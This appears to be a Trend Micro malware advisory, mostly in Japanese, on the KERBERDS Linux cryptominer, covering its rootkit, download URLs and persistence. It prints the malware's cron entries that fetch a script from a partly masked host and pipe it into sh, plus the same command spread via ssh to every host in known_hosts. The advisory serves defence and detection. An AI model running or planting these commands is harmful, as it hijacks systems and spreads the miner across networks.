Trojan.SH.KERBERDS.A

トレンドマイクロは、このマルウェアをNoteworthy（要注意）に分類しました。

トレンドマイクロは、自身の不正活動を隠ぺいするために ld.so.preloadベースのルートキットを利用する新しいバージョンの仮想通貨発掘マルウェア「KERBERDS」を確認しました。さらにマルウェアは、DNS TXTレコード内のCNCトラフィックを隠ぺいします。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://img.{BLOCKED}t.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
• http://img.{BLOCKED}t.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
• http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
• http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
• https://user-images.{BLOCKED}usercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
• https://user-images.{BLOCKED}usercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• 48f14124d703c2

その他

マルウェアは、以下を実行します。

• It creates the following cron jobs for persistence:
  • Path: /var/spool/cron/crontabs/root
    Schedule: Every 10 minutes
    Command: */10 * * * * (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh
  • Path: /etc/crontab
    Schedule: Every 10 minutes
    Command: */10 * * * * root (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen("http://lsd.{BLOCKED}ten.org").read()'||/usr/local/sbin/48f14124d703c2)|sh
• It removes the immutable property of the following files:
  • /etc/cron*
  • /var/spool/cron*
• It executes the following command on every host in the known_hosts file via ssh:
  • (curl -fsSL lsd.{BLOCKED}ten.org||wget -q -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh >/dev/null 2>&1 &

<補足>
ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://img.{BLOCKED}t.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png - 「Trojan.Linux.KERBERDS.UWEJL (64-bit)」として検出
• http://img.{BLOCKED}t.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png - 「Trojan.Linux.KERBERDS.UWEJL (32-bit)」として検出
• http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg - 「Trojan.Linux.KERBERDS.UWEJL (64-bit)」として検出
• http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg - 「Trojan.Linux.KERBERDS.UWEJL (32-bit)」として検出
• https://user-images.{BLOCKED}usercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg - 「Trojan.Linux.KERBERDS.UWEJL (64-bit)」として検出
• https://user-images.{BLOCKED}usercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg - 「Trojan.Linux.KERBERDS.UWEJL (32-bit)」として検出

その他

マルウェアは、以下を実行します。

• マルウェアは、パーシステンス（持続性）のために、以下のcronジョブを作成します。
  • パス: /var/spool/cron/crontabs/root
  • スケジュール: 10分毎
  • コマンド: */10 * * * * (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh
    
  • パス: /etc/crontab
    スケジュール: 10分毎
    コマンド: */10 * * * * root (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen("http://lsd.{BLOCKED}ten.org").read()'||/usr/local/sbin/48f14124d703c2)|sh
• マルウェアは、以下のファイルの不変プロパティを削除します。
  • /etc/cron*
  • /var/spool/cron*
• マルウェアは、sshを介して、ファイル「known_hosts」内のすべてのホスト上で以下のコマンドを実行します。